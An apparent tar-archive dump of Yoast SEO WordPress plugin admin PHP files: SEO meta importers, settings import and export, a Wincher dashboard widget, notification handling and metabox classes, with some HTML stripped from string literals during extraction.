'aioseop_opengraph_settings_customimg' => 'opengraph-image', 'aioseop_opengraph_settings_customimg_twitter' => 'twitter-image', ]; /** * Array of meta keys to detect and import. * * @var array */ protected $clone_keys = [ [ 'old_key' => '_aioseop_title', 'new_key' => 'title', ], [ 'old_key' => '_aioseop_description', 'new_key' => 'metadesc', ], [ 'old_key' => '_aioseop_noindex', 'new_key' => 'meta-robots-noindex', 'convert' => [ 'on' => 1 ], ], [ 'old_key' => '_aioseop_nofollow', 'new_key' => 'meta-robots-nofollow', 'convert' => [ 'on' => 1 ], ], ]; /** * Import All In One SEO meta values. * * @return bool Import success status. */ protected function import() { $status = parent::import(); if ( $status ) { $this->import_opengraph(); } return $status; } /** * Imports the OpenGraph and Twitter settings for all posts. * * @return bool */ protected function import_opengraph() { $query_posts = new WP_Query( 'post_type=any&meta_key=_aioseop_opengraph_settings&order=ASC&fields=ids&nopaging=true' ); if ( ! empty( $query_posts->posts ) ) { foreach ( array_values( $query_posts->posts ) as $post_id ) { $this->import_post_opengraph( $post_id ); } } return true; } /** * Imports the OpenGraph and Twitter settings for a single post. * * @param int $post_id Post ID. * * @return void */ private function import_post_opengraph( $post_id ) { $meta = get_post_meta( $post_id, '_aioseop_opengraph_settings', true ); $meta = maybe_unserialize( $meta ); foreach ( $this->import_keys as $old_key => $new_key ) { $this->maybe_save_post_meta( $new_key, $meta[ $old_key ], $post_id ); } } } import/plugins/class-abstract-plugin-importer.php000064400000020440147207033440016315 0ustar00plugin_name; } /** * Imports the settings and post meta data from another SEO plugin. * * @return WPSEO_Import_Status Import status object. */ public function run_import() { $this->status = new WPSEO_Import_Status( 'import', false ); if ( ! $this->detect() ) { return $this->status; } $this->status->set_status( $this->import() ); // Flush the entire cache, as we no longer know what's valid and what's not. wp_cache_flush(); return $this->status; } /** * Handles post meta data to import. * * @return bool Import success status. */ protected function import() { return $this->meta_keys_clone( $this->clone_keys ); } /** * Removes the plugin data from the database. * * @return WPSEO_Import_Status Import status object. */ public function run_cleanup() { $this->status = new WPSEO_Import_Status( 'cleanup', false ); if ( ! $this->detect() ) { return $this->status; } return $this->status->set_status( $this->cleanup() ); } /** * Removes the plugin data from the database. * * @return bool Cleanup status. */ protected function cleanup() { global $wpdb; if ( empty( $this->meta_key ) ) { return true; } $wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->postmeta} WHERE meta_key LIKE %s", $this->meta_key ) ); $result = $wpdb->__get( 'result' ); if ( ! $result ) { $this->cleanup_error_msg(); } return $result; } /** * Sets the status message for when a cleanup has gone bad. * * @return void */ protected function cleanup_error_msg() { /* translators: %s is replaced with the plugin's name. */ $this->status->set_msg( sprintf( __( 'Cleanup of %s data failed.', 'wordpress-seo' ), $this->plugin_name ) ); } /** * Detects whether an import for this plugin is needed. * * @return WPSEO_Import_Status Import status object. */ public function run_detect() { $this->status = new WPSEO_Import_Status( 'detect', false ); if ( ! $this->detect() ) { return $this->status; } return $this->status->set_status( true ); } /** * Detects whether there is post meta data to import. * * @return bool Boolean indicating whether there is something to import. */ protected function detect() { global $wpdb; $meta_keys = wp_list_pluck( $this->clone_keys, 'old_key' ); $result = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) AS `count` FROM {$wpdb->postmeta} WHERE meta_key IN ( " . implode( ', ', array_fill( 0, count( $meta_keys ), '%s' ) ) . ' )', $meta_keys ) ); if ( $result === '0' ) { return false; } return true; } /** * Helper function to clone meta keys and (optionally) change their values in bulk. * * @param string $old_key The existing meta key. * @param string $new_key The new meta key. * @param array $replace_values An array, keys old value, values new values. * * @return bool Clone status. */ protected function meta_key_clone( $old_key, $new_key, $replace_values = [] ) { global $wpdb; // First we create a temp table with all the values for meta_key. $result = $wpdb->query( $wpdb->prepare( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.SchemaChange -- This is intentional + temporary. "CREATE TEMPORARY TABLE tmp_meta_table SELECT * FROM {$wpdb->postmeta} WHERE meta_key = %s", $old_key ) ); if ( $result === false ) { $this->set_missing_db_rights_status(); return false; } // Delete all the values in our temp table for posts that already have data for $new_key. $wpdb->query( $wpdb->prepare( "DELETE FROM tmp_meta_table WHERE post_id IN ( SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key = %s )", WPSEO_Meta::$meta_prefix . $new_key ) ); /* * We set meta_id to NULL so on re-insert into the postmeta table, MYSQL can set * new meta_id's and we don't get duplicates. */ $wpdb->query( 'UPDATE tmp_meta_table SET meta_id = NULL' ); // Now we rename the meta_key. $wpdb->query( $wpdb->prepare( 'UPDATE tmp_meta_table SET meta_key = %s', WPSEO_Meta::$meta_prefix . $new_key ) ); $this->meta_key_clone_replace( $replace_values ); // With everything done, we insert all our newly cloned lines into the postmeta table. $wpdb->query( "INSERT INTO {$wpdb->postmeta} SELECT * FROM tmp_meta_table" ); // Now we drop our temporary table. // phpcs:ignore WordPress.DB.DirectDatabaseQuery.SchemaChange -- This is intentional + a temporary table. $wpdb->query( 'DROP TEMPORARY TABLE IF EXISTS tmp_meta_table' ); return true; } /** * Clones multiple meta keys. * * @param array $clone_keys The keys to clone. * * @return bool Success status. */ protected function meta_keys_clone( $clone_keys ) { foreach ( $clone_keys as $clone_key ) { $result = $this->meta_key_clone( $clone_key['old_key'], $clone_key['new_key'], ( $clone_key['convert'] ?? [] ) ); if ( ! $result ) { return false; } } return true; } /** * Sets the import status to false and returns a message about why it failed. * * @return void */ protected function set_missing_db_rights_status() { $this->status->set_status( false ); /* translators: %s is replaced with Yoast SEO. */ $this->status->set_msg( sprintf( __( 'The %s importer functionality uses temporary database tables. It seems your WordPress install does not have the capability to do this, please consult your hosting provider.', 'wordpress-seo' ), 'Yoast SEO' ) ); } /** * Helper function to search for a key in an array and maybe save it as a meta field. * * @param string $plugin_key The key in the $data array to check. * @param string $yoast_key The identifier we use in our meta settings. * @param array $data The array of data for this post to sift through. * @param int $post_id The post ID. * * @return void */ protected function import_meta_helper( $plugin_key, $yoast_key, $data, $post_id ) { if ( ! empty( $data[ $plugin_key ] ) ) { $this->maybe_save_post_meta( $yoast_key, $data[ $plugin_key ], $post_id ); } } /** * Saves a post meta value if it doesn't already exist. * * @param string $new_key The key to save. * @param mixed $value The value to set the key to. * @param int $post_id The Post to save the meta for. * * @return void */ protected function maybe_save_post_meta( $new_key, $value, $post_id ) { // Big. Fat. Sigh. Mostly used for _yst_is_cornerstone, but might be useful for other hidden meta's. $key = WPSEO_Meta::$meta_prefix . $new_key; $wpseo_meta = true; if ( substr( $new_key, 0, 1 ) === '_' ) { $key = $new_key; $wpseo_meta = false; } $existing_value = get_post_meta( $post_id, $key, true ); if ( empty( $existing_value ) ) { if ( $wpseo_meta ) { WPSEO_Meta::set_value( $new_key, $value, $post_id ); return; } update_post_meta( $post_id, $new_key, $value ); } } /** * Replaces values in our temporary table according to our settings. * * @param array $replace_values Key value pair of values to replace with other values. * * @return void */ protected function meta_key_clone_replace( $replace_values ) { global $wpdb; // Now we replace values if needed. if ( is_array( $replace_values ) && $replace_values !== [] ) { foreach ( $replace_values as $old_value => $new_value ) { $wpdb->query( $wpdb->prepare( 'UPDATE tmp_meta_table SET meta_value = %s WHERE meta_value = %s', $new_value, $old_value ) ); } } } } import/class-import-plugin.php000064400000002667147207033440012517 0ustar00importer = $importer; switch ( $action ) { case 'cleanup': $this->status = $this->importer->run_cleanup(); break; case 'import': $this->status = $this->importer->run_import(); break; case 'detect': default: $this->status = $this->importer->run_detect(); } $this->status->set_msg( $this->complete_msg( $this->status->get_msg() ) ); } /** * Convenience function to replace %s with plugin name in import message. * * @param string $msg Message string. * * @return string Returns message with plugin name instead of replacement variables. */ protected function complete_msg( $msg ) { return sprintf( $msg, $this->importer->get_plugin_name() ); } } import/class-import-settings.php000064400000005714147207033440013055 0ustar00status = new WPSEO_Import_Status( 'import', false ); } /** * Imports the data submitted by the user. * * @return void */ public function import() { check_admin_referer( self::NONCE_ACTION ); if ( ! WPSEO_Capability_Utils::current_user_can( 'wpseo_manage_options' ) ) { return; } if ( ! isset( $_POST['settings_import'] ) || ! is_string( $_POST['settings_import'] ) ) { return; } // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: The raw content will be parsed afterwards. $content = wp_unslash( $_POST['settings_import'] ); if ( empty( $content ) ) { return; } $this->parse_options( $content ); } /** * Parse the options. * * @param string $raw_options The content to parse. * * @return void */ protected function parse_options( $raw_options ) { $options = parse_ini_string( $raw_options, true, INI_SCANNER_RAW ); if ( is_array( $options ) && $options !== [] ) { $this->import_options( $options ); return; } $this->status->set_msg( __( 'Settings could not be imported:', 'wordpress-seo' ) . ' ' . __( 'No settings found.', 'wordpress-seo' ) ); } /** * Parse the option group and import it. * * @param string $name Name string. * @param array $option_group Option group data. * @param array $options Options data. * * @return void */ protected function parse_option_group( $name, $option_group, $options ) { // Make sure that the imported options are cleaned/converted on import. $option_instance = WPSEO_Options::get_option_instance( $name ); if ( is_object( $option_instance ) && method_exists( $option_instance, 'import' ) ) { $option_instance->import( $option_group, $this->old_wpseo_version, $options ); } } /** * Imports the options if found. * * @param array $options The options parsed from the provided settings. * * @return void */ protected function import_options( $options ) { if ( isset( $options['wpseo']['version'] ) && $options['wpseo']['version'] !== '' ) { $this->old_wpseo_version = $options['wpseo']['version']; } foreach ( $options as $name => $option_group ) { $this->parse_option_group( $name, $option_group, $options ); } $this->status->set_msg( __( 'Settings successfully imported.', 'wordpress-seo' ) ); $this->status->set_status( true ); // Reset the cached option values. WPSEO_Options::clear_cache(); } } class-wincher-dashboard-widget.php000064400000007037147207033440013240 0ustar00asset_manager = new WPSEO_Admin_Asset_Manager(); } /** * Register WordPress hooks. * * @return void */ public function register_hooks() { add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_wincher_dashboard_assets' ] ); add_action( 'admin_init', [ $this, 'queue_wincher_dashboard_widget' ] ); } /** * Adds the Wincher dashboard widget if it should be shown. * * @return void */ public function queue_wincher_dashboard_widget() { if ( $this->show_widget() ) { add_action( 'wp_dashboard_setup', [ $this, 'add_wincher_dashboard_widget' ] ); } } /** * Adds the Wincher dashboard widget to WordPress. * * @return void */ public function add_wincher_dashboard_widget() { add_filter( 'postbox_classes_dashboard_wpseo-wincher-dashboard-overview', [ $this, 'wpseo_wincher_dashboard_overview_class' ] ); wp_add_dashboard_widget( 'wpseo-wincher-dashboard-overview', /* translators: %1$s expands to Yoast SEO, %2$s to Wincher */ sprintf( __( '%1$s / %2$s: Top Keyphrases', 'wordpress-seo' ), 'Yoast SEO', 'Wincher' ), [ $this, 'display_wincher_dashboard_widget' ] ); } /** * Adds CSS classes to the dashboard widget. * * @param array $classes An array of postbox CSS classes. * * @return array */ public function wpseo_wincher_dashboard_overview_class( $classes ) { $classes[] = 'yoast wpseo-wincherdashboard-overview'; return $classes; } /** * Displays the Wincher dashboard widget. * * @return void */ public function display_wincher_dashboard_widget() { echo '
    '; } /** * Enqueues assets for the dashboard if the current page is the dashboard. * * @return void */ public function enqueue_wincher_dashboard_assets() { if ( ! $this->is_dashboard_screen() ) { return; } $this->asset_manager->localize_script( 'wincher-dashboard-widget', 'wpseoWincherDashboardWidgetL10n', $this->localize_wincher_dashboard_script() ); $this->asset_manager->enqueue_script( 'wincher-dashboard-widget' ); $this->asset_manager->enqueue_style( 'wp-dashboard' ); $this->asset_manager->enqueue_style( 'monorepo' ); } /** * Translates strings used in the Wincher dashboard widget. * * @return array The translated strings. */ public function localize_wincher_dashboard_script() { return [ 'wincher_is_logged_in' => YoastSEO()->helpers->wincher->login_status(), 'wincher_website_id' => WPSEO_Options::get( 'wincher_website_id', '' ), ]; } /** * Checks if the current screen is the dashboard screen. * * @return bool Whether or not this is the dashboard screen. */ private function is_dashboard_screen() { $current_screen = get_current_screen(); return ( $current_screen instanceof WP_Screen && $current_screen->id === 'dashboard' ); } /** * Returns true when the Wincher dashboard widget should be shown. * * @return bool */ private function show_widget() { $analysis_seo = new WPSEO_Metabox_Analysis_SEO(); $user_can_edit = $analysis_seo->is_enabled() && current_user_can( 'edit_posts' ); $is_wincher_active = YoastSEO()->helpers->wincher->is_active(); return $user_can_edit && $is_wincher_active; } } index.php000064400000000046147207033440006370 0ustar00export_settings(); $this->output(); } /** * Outputs the export. * * @return void */ public function output() { if ( ! WPSEO_Capability_Utils::current_user_can( 'wpseo_manage_options' ) ) { esc_html_e( 'You do not have the required rights to export settings.', 'wordpress-seo' ); return; } echo '

    '; printf( /* translators: %1$s expands to Import settings */ esc_html__( 'Copy all these settings to another site\'s %1$s tab and click "%1$s" there.', 'wordpress-seo' ), esc_html__( 'Import settings', 'wordpress-seo' ) ); echo '

    '; /* translators: %1$s expands to Yoast SEO */ echo '
    '; echo ''; } /** * Exports the current site's WP SEO settings. * * @return void */ private function export_settings() { $this->export_header(); foreach ( WPSEO_Options::get_option_names() as $opt_group ) { $this->write_opt_group( $opt_group ); } } /** * Writes the header of the export. * * @return void */ private function export_header() { $header = sprintf( /* translators: %1$s expands to Yoast SEO, %2$s expands to Yoast.com */ esc_html__( 'These are settings for the %1$s plugin by %2$s', 'wordpress-seo' ), 'Yoast SEO', 'Yoast.com' ); $this->write_line( '; ' . $header ); } /** * Writes a line to the export. * * @param string $line Line string. * @param bool $newline_first Boolean flag whether to prepend with new line. * * @return void */ private function write_line( $line, $newline_first = false ) { if ( $newline_first ) { $this->export .= PHP_EOL; } $this->export .= $line . PHP_EOL; } /** * Writes an entire option group to the export. * * @param string $opt_group Option group name. * * @return void */ private function write_opt_group( $opt_group ) { $this->write_line( '[' . $opt_group . ']', true ); $options = get_option( $opt_group ); if ( ! is_array( $options ) ) { return; } foreach ( $options as $key => $elem ) { if ( is_array( $elem ) ) { $count = count( $elem ); for ( $i = 0; $i < $count; $i++ ) { $elem_check = ( $elem[ $i ] ?? null ); $this->write_setting( $key . '[]', $elem_check ); } } else { $this->write_setting( $key, $elem ); } } } /** * Writes a settings line to the export. * * @param string $key Key string. * @param string $val Value string. * * @return void */ private function write_setting( $key, $val ) { if ( is_string( $val ) ) { $val = '"' . $val . '"'; } $this->write_line( $key . ' = ' . $val ); } } class-yoast-notification.php000064400000023506147207033440012215 0ustar00 self::UPDATED, 'id' => '', 'user_id' => null, 'nonce' => null, 'priority' => 0.5, 'data_json' => [], 'dismissal_key' => null, 'capabilities' => [], 'capability_check' => self::MATCH_ALL, 'yoast_branding' => false, ]; /** * The message for the notification. * * @var string */ private $message; /** * Notification class constructor. * * @param string $message Message string. * @param array $options Set of options. */ public function __construct( $message, $options = [] ) { $this->message = $message; $this->options = $this->normalize_options( $options ); } /** * Retrieve notification ID string. * * @return string */ public function get_id() { return $this->options['id']; } /** * Retrieve the user to show the notification for. * * @deprecated 21.6 * @codeCoverageIgnore * * @return WP_User The user to show this notification for. */ public function get_user() { _deprecated_function( __METHOD__, 'Yoast SEO 21.6' ); return null; } /** * Retrieve the id of the user to show the notification for. * * Returns the id of the current user if not user has been sent. * * @return int The user id */ public function get_user_id() { return ( $this->options['user_id'] ?? get_current_user_id() ); } /** * Retrieve nonce identifier. * * @return string|null Nonce for this Notification. */ public function get_nonce() { if ( $this->options['id'] && empty( $this->options['nonce'] ) ) { $this->options['nonce'] = wp_create_nonce( $this->options['id'] ); } return $this->options['nonce']; } /** * Make sure the nonce is up to date. * * @return void */ public function refresh_nonce() { if ( $this->options['id'] ) { $this->options['nonce'] = wp_create_nonce( $this->options['id'] ); } } /** * Get the type of the notification. * * @return string */ public function get_type() { return $this->options['type']; } /** * Priority of the notification. * * Relative to the type. * * @return float Returns the priority between 0 and 1. */ public function get_priority() { return $this->options['priority']; } /** * Get the User Meta key to check for dismissal of notification. * * @return string User Meta Option key that registers dismissal. */ public function get_dismissal_key() { if ( empty( $this->options['dismissal_key'] ) ) { return $this->options['id']; } return $this->options['dismissal_key']; } /** * Is this Notification persistent. * * @return bool True if persistent, False if fire and forget. */ public function is_persistent() { $id = $this->get_id(); return ! empty( $id ); } /** * Check if the notification is relevant for the current user. * * @return bool True if a user needs to see this notification, false if not. */ public function display_for_current_user() { // If the notification is for the current page only, always show. if ( ! $this->is_persistent() ) { return true; } // If the current user doesn't match capabilities. return $this->match_capabilities(); } /** * Does the current user match required capabilities. * * @return bool */ public function match_capabilities() { // Super Admin can do anything. if ( is_multisite() && is_super_admin( $this->options['user_id'] ) ) { return true; } /** * Filter capabilities that enable the displaying of this notification. * * @param array $capabilities The capabilities that must be present for this notification. * @param Yoast_Notification $notification The notification object. * * @return array Array of capabilities or empty for no restrictions. * * @since 3.2 */ $capabilities = apply_filters( 'wpseo_notification_capabilities', $this->options['capabilities'], $this ); // Should be an array. if ( ! is_array( $capabilities ) ) { $capabilities = (array) $capabilities; } /** * Filter capability check to enable all or any capabilities. * * @param string $capability_check The type of check that will be used to determine if an capability is present. * @param Yoast_Notification $notification The notification object. * * @return string self::MATCH_ALL or self::MATCH_ANY. * * @since 3.2 */ $capability_check = apply_filters( 'wpseo_notification_capability_check', $this->options['capability_check'], $this ); if ( ! in_array( $capability_check, [ self::MATCH_ALL, self::MATCH_ANY ], true ) ) { $capability_check = self::MATCH_ALL; } if ( ! empty( $capabilities ) ) { $has_capabilities = array_filter( $capabilities, [ $this, 'has_capability' ] ); switch ( $capability_check ) { case self::MATCH_ALL: return $has_capabilities === $capabilities; case self::MATCH_ANY: return ! empty( $has_capabilities ); } } return true; } /** * Array filter function to find matched capabilities. * * @param string $capability Capability to test. * * @return bool */ private function has_capability( $capability ) { $user_id = $this->options['user_id']; if ( ! is_numeric( $user_id ) ) { return false; } $user = get_user_by( 'id', $user_id ); if ( ! $user ) { return false; } return $user->has_cap( $capability ); } /** * Return the object properties as an array. * * @return array */ public function to_array() { return [ 'message' => $this->message, 'options' => $this->options, ]; } /** * Adds string (view) behaviour to the notification. * * @return string */ public function __toString() { return $this->render(); } /** * Renders the notification as a string. * * @return string The rendered notification. */ public function render() { $attributes = []; // Default notification classes. $classes = [ 'yoast-notification', ]; // Maintain WordPress visualisation of notifications when they are not persistent. if ( ! $this->is_persistent() ) { $classes[] = 'notice'; $classes[] = $this->get_type(); } if ( ! empty( $classes ) ) { $attributes['class'] = implode( ' ', $classes ); } // Combined attribute key and value into a string. array_walk( $attributes, [ $this, 'parse_attributes' ] ); $message = null; if ( $this->options['yoast_branding'] ) { $message = $this->wrap_yoast_seo_icon( $this->message ); } if ( $message === null ) { $message = wpautop( $this->message ); } // Build the output DIV. return '
    ' . $message . '
    ' . PHP_EOL; } /** * Get the message for the notification. * * @return string The message. */ public function get_message() { return wpautop( $this->message ); } /** * Wraps the message with a Yoast SEO icon. * * @param string $message The message to wrap. * * @return string The wrapped message. */ private function wrap_yoast_seo_icon( $message ) { $out = sprintf( '', esc_url( plugin_dir_url( WPSEO_FILE ) . 'packages/js/images/Yoast_SEO_Icon.svg' ), 60, 60 ); $out .= '
    '; $out .= $message; $out .= '
    '; return $out; } /** * Get the JSON if provided. * * @return false|string */ public function get_json() { if ( empty( $this->options['data_json'] ) ) { return ''; } return WPSEO_Utils::format_json_encode( $this->options['data_json'] ); } /** * Make sure we only have values that we can work with. * * @param array $options Options to normalize. * * @return array */ private function normalize_options( $options ) { $options = wp_parse_args( $options, $this->defaults ); // Should not exceed 0 or 1. $options['priority'] = min( 1, max( 0, $options['priority'] ) ); // Set default capabilities when not supplied. if ( empty( $options['capabilities'] ) || $options['capabilities'] === [] ) { $options['capabilities'] = [ 'wpseo_manage_options' ]; } // Set to the id of the current user if not supplied. if ( $options['user_id'] === null ) { $options['user_id'] = get_current_user_id(); } return $options; } /** * Format HTML element attributes. * * @param string $value Attribute value. * @param string $key Attribute name. * * @return void */ private function parse_attributes( &$value, $key ) { $value = sprintf( '%s="%s"', sanitize_key( $key ), esc_attr( $value ) ); } } metabox/class-metabox-section-additional.php000064400000005107147207033440015235 0ustar00name = $name; $this->content = $content; $default_options = [ 'link_class' => '', 'link_aria_label' => '', 'content_class' => 'wpseo-form', ]; $options = wp_parse_args( $options, $default_options ); $this->link_content = $link_content; $this->link_class = $options['link_class']; $this->link_aria_label = $options['link_aria_label']; $this->content_class = $options['content_class']; } /** * Outputs the section link. * * @return void */ public function display_link() { printf( '
  • %4$s
  • ', esc_attr( $this->name ), esc_attr( $this->link_class ), ( $this->link_aria_label !== '' ) ? ' aria-label="' . esc_attr( $this->link_aria_label ) . '"' : '', $this->link_content ); } /** * Outputs the section content. * * @return void */ public function display_content() { $html = sprintf( '
    ', esc_attr( $this->name ), esc_attr( $this->content_class ) ); $html .= $this->content; $html .= '
    '; echo $html; } } metabox/class-abstract-sectioned-metabox-tab.php000064400000004406147207033440016006 0ustar00 '', 'link_class' => '', 'link_aria_label' => '', ]; $options = array_merge( $default_options, $options ); $this->name = $name; $this->link_content = $link_content; $this->link_title = $options['link_title']; $this->link_class = $options['link_class']; $this->link_aria_label = $options['link_aria_label']; } /** * Outputs the section link if any section has been added. * * @return void */ public function display_link() { if ( $this->has_sections() ) { printf( '
  • %5$s
  • ', esc_attr( $this->name ), esc_attr( $this->link_class ), ( $this->link_title !== '' ) ? ' title="' . esc_attr( $this->link_title ) . '"' : '', ( $this->link_aria_label !== '' ) ? ' aria-label="' . esc_attr( $this->link_aria_label ) . '"' : '', $this->link_content ); } } /** * Checks whether the tab has any sections. * * @return bool Whether the tab has any sections */ abstract protected function has_sections(); } metabox/class-metabox-editor.php000064400000004415147207033440012752 0ustar00special_styles(); $inside_editor = $styles['inside-editor']; $asset_location = new WPSEO_Admin_Asset_SEO_Location( WPSEO_FILE ); $url = $asset_location->get_url( $inside_editor, WPSEO_Admin_Asset::TYPE_CSS ); if ( $css_files === '' ) { $css_files = $url; } else { $css_files .= ',' . $url; } return $css_files; } /** * Enqueues the CSS to use in the TinyMCE editor. * * @return void */ public function add_editor_styles() { $asset_manager = new WPSEO_Admin_Asset_Manager(); $asset_manager->enqueue_style( 'inside-editor' ); } /** * Adds a custom element to the tinyMCE editor that we need for marking the content. * * @param array $tinymce_config The tinyMCE config as configured by WordPress. * * @return array The new tinyMCE config with our added custom elements. */ public function add_custom_element( $tinymce_config ) { if ( ! empty( $tinymce_config['custom_elements'] ) ) { $custom_elements = $tinymce_config['custom_elements']; $custom_elements .= ',~yoastmark'; } else { $custom_elements = '~yoastmark'; } $tinymce_config['custom_elements'] = $custom_elements; return $tinymce_config; } } metabox/class-metabox-null-tab.php000064400000000651147207033440013200 0ustar00is_globally_enabled() && $this->is_user_enabled() && $this->is_current_version_supported() && YoastSEO()->helpers->language->has_inclusive_language_support( WPSEO_Language_Utils::get_language( get_locale() ) ); } /** * Whether or not this analysis is enabled by the user. * * @return bool Whether or not this analysis is enabled by the user. */ public function is_user_enabled() { return ! get_the_author_meta( 'wpseo_inclusive_language_analysis_disable', get_current_user_id() ); } /** * Whether or not this analysis is enabled globally. * * @return bool Whether or not this analysis is enabled globally. */ public function is_globally_enabled() { return WPSEO_Options::get( 'inclusive_language_analysis_active', false ); } /** * Whether the inclusive language analysis should be loaded in Free. * * It should always be loaded when Premium is not active. If Premium is active, it depends on the version. Some Premium * versions also have inclusive language code (when it was still a Premium only feature) which would result in rendering * the analysis twice. In those cases, the analysis should be only loaded from the Premium side. * * @return bool Whether or not the inclusive language analysis should be loaded. */ private function is_current_version_supported() { $is_premium = YoastSEO()->helpers->product->is_premium(); $premium_version = YoastSEO()->helpers->product->get_premium_version(); return ! $is_premium || version_compare( $premium_version, '19.6-RC0', '>=' ) || version_compare( $premium_version, '19.2', '==' ); } } metabox/class-metabox-analysis-seo.php000064400000001621147207033440014067 0ustar00is_globally_enabled() && $this->is_user_enabled(); } /** * Whether or not this analysis is enabled by the user. * * @return bool Whether or not this analysis is enabled by the user. */ public function is_user_enabled() { return ! get_the_author_meta( 'wpseo_keyword_analysis_disable', get_current_user_id() ); } /** * Whether or not this analysis is enabled globally. * * @return bool Whether or not this analysis is enabled globally. */ public function is_globally_enabled() { return WPSEO_Options::get( 'keyword_analysis_active', true ); } } metabox/class-metabox-collapsible.php000064400000003021147207033440013745 0ustar00name = $name; $this->content = $content; $this->link_content = $link_content; } /** * Returns the html for the tab link. * * @return string */ public function link() { return $this->link_content; } /** * Returns the html for the tab content. * * @return string */ public function content() { $collapsible_paper = new WPSEO_Paper_Presenter( $this->link(), null, [ 'content' => $this->content, 'collapsible' => true, 'class' => 'metabox wpseo-form wpseo-collapsible-container', 'paper_id' => 'collapsible-' . $this->name, ] ); return $collapsible_paper->get_output(); } /** * Returns the collapsible's unique identifier. * * @return string */ public function get_name() { return $this->name; } } metabox/class-metabox.php000064400000115637147207033440011477 0ustar00is_internet_explorer() ) { add_action( 'add_meta_boxes', [ $this, 'internet_explorer_metabox' ] ); return; } add_action( 'add_meta_boxes', [ $this, 'add_meta_box' ] ); add_action( 'admin_enqueue_scripts', [ $this, 'enqueue' ] ); add_action( 'wp_insert_post', [ $this, 'save_postdata' ] ); add_action( 'edit_attachment', [ $this, 'save_postdata' ] ); add_action( 'add_attachment', [ $this, 'save_postdata' ] ); $this->editor = new WPSEO_Metabox_Editor(); $this->editor->register_hooks(); $this->social_is_enabled = WPSEO_Options::get( 'opengraph', false, [ 'wpseo_social' ] ) || WPSEO_Options::get( 'twitter', false, [ 'wpseo_social' ] ); $this->is_advanced_metadata_enabled = WPSEO_Capability_Utils::current_user_can( 'wpseo_edit_advanced_metadata' ) || WPSEO_Options::get( 'disableadvanced_meta', null, [ 'wpseo' ] ) === false; $this->seo_analysis = new WPSEO_Metabox_Analysis_SEO(); $this->readability_analysis = new WPSEO_Metabox_Analysis_Readability(); $this->inclusive_language_analysis = new WPSEO_Metabox_Analysis_Inclusive_Language(); } /** * Checks whether the request comes from an IE 11 browser. * * @return bool Whether the request comes from an IE 11 browser. */ public static function is_internet_explorer() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) { return false; } $user_agent = sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ) ); if ( stripos( $user_agent, 'Trident/7.0' ) === false ) { return false; } return true; } /** * Adds an alternative metabox for internet explorer users. * * @return void */ public function internet_explorer_metabox() { $post_types = WPSEO_Post_Type::get_accessible_post_types(); $post_types = array_filter( $post_types, [ $this, 'display_metabox' ] ); if ( ! is_array( $post_types ) || $post_types === [] ) { return; } $product_title = $this->get_product_title(); foreach ( $post_types as $post_type ) { add_filter( "postbox_classes_{$post_type}_wpseo_meta", [ $this, 'wpseo_metabox_class' ] ); add_meta_box( 'wpseo_meta', $product_title, [ $this, 'render_internet_explorer_notice' ], $post_type, 'normal', apply_filters( 'wpseo_metabox_prio', 'high' ), [ '__block_editor_compatible_meta_box' => true ] ); } } /** * Renders the content for the internet explorer metabox. * * @return void */ public function render_internet_explorer_notice() { $content = sprintf( /* translators: 1: Link start tag to the Firefox website, 2: Link start tag to the Chrome website, 3: Link start tag to the Edge website, 4: Link closing tag. */ esc_html__( 'The browser you are currently using is unfortunately rather dated. Since we strive to give you the best experience possible, we no longer support this browser. Instead, please use %1$sFirefox%4$s, %2$sChrome%4$s or %3$sMicrosoft Edge%4$s.', 'wordpress-seo' ), '', '', '', '' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped above. echo new Alert_Presenter( $content ); } /** * Translates text strings for use in the meta box. * * IMPORTANT: if you want to add a new string (option) somewhere, make sure you add that array key to * the main meta box definition array in the class WPSEO_Meta() as well!!!! * * @deprecated 23.5 * @codeCoverageIgnore * * @return void */ public static function translate_meta_boxes() { _deprecated_function( __METHOD__, 'Yoast SEO 23.5' ); WPSEO_Meta::$meta_fields['general']['title']['title'] = __( 'SEO title', 'wordpress-seo' ); WPSEO_Meta::$meta_fields['general']['metadesc']['title'] = __( 'Meta description', 'wordpress-seo' ); /* translators: %s expands to the post type name. */ WPSEO_Meta::$meta_fields['advanced']['meta-robots-noindex']['title'] = __( 'Allow search engines to show this %s in search results?', 'wordpress-seo' ); if ( (string) get_option( 'blog_public' ) === '0' ) { WPSEO_Meta::$meta_fields['advanced']['meta-robots-noindex']['description'] = '' . __( 'Warning: even though you can set the meta robots setting here, the entire site is set to noindex in the sitewide privacy settings, so these settings won\'t have an effect.', 'wordpress-seo' ) . ''; } /* translators: %1$s expands to Yes or No, %2$s expands to the post type name.*/ WPSEO_Meta::$meta_fields['advanced']['meta-robots-noindex']['options']['0'] = __( 'Default for %2$s, currently: %1$s', 'wordpress-seo' ); WPSEO_Meta::$meta_fields['advanced']['meta-robots-noindex']['options']['2'] = __( 'Yes', 'wordpress-seo' ); WPSEO_Meta::$meta_fields['advanced']['meta-robots-noindex']['options']['1'] = __( 'No', 'wordpress-seo' ); /* translators: %1$s expands to the post type name.*/ WPSEO_Meta::$meta_fields['advanced']['meta-robots-nofollow']['title'] = __( 'Should search engines follow links on this %1$s?', 'wordpress-seo' ); WPSEO_Meta::$meta_fields['advanced']['meta-robots-nofollow']['options']['0'] = __( 'Yes', 'wordpress-seo' ); WPSEO_Meta::$meta_fields['advanced']['meta-robots-nofollow']['options']['1'] = __( 'No', 'wordpress-seo' ); WPSEO_Meta::$meta_fields['advanced']['meta-robots-adv']['title'] = __( 'Meta robots advanced', 'wordpress-seo' ); WPSEO_Meta::$meta_fields['advanced']['meta-robots-adv']['description'] = __( 'If you want to apply advanced meta robots settings for this page, please define them in the following field.', 'wordpress-seo' ); WPSEO_Meta::$meta_fields['advanced']['meta-robots-adv']['options']['noimageindex'] = __( 'No Image Index', 'wordpress-seo' ); WPSEO_Meta::$meta_fields['advanced']['meta-robots-adv']['options']['noarchive'] = __( 'No Archive', 'wordpress-seo' ); WPSEO_Meta::$meta_fields['advanced']['meta-robots-adv']['options']['nosnippet'] = __( 'No Snippet', 'wordpress-seo' ); WPSEO_Meta::$meta_fields['advanced']['bctitle']['title'] = __( 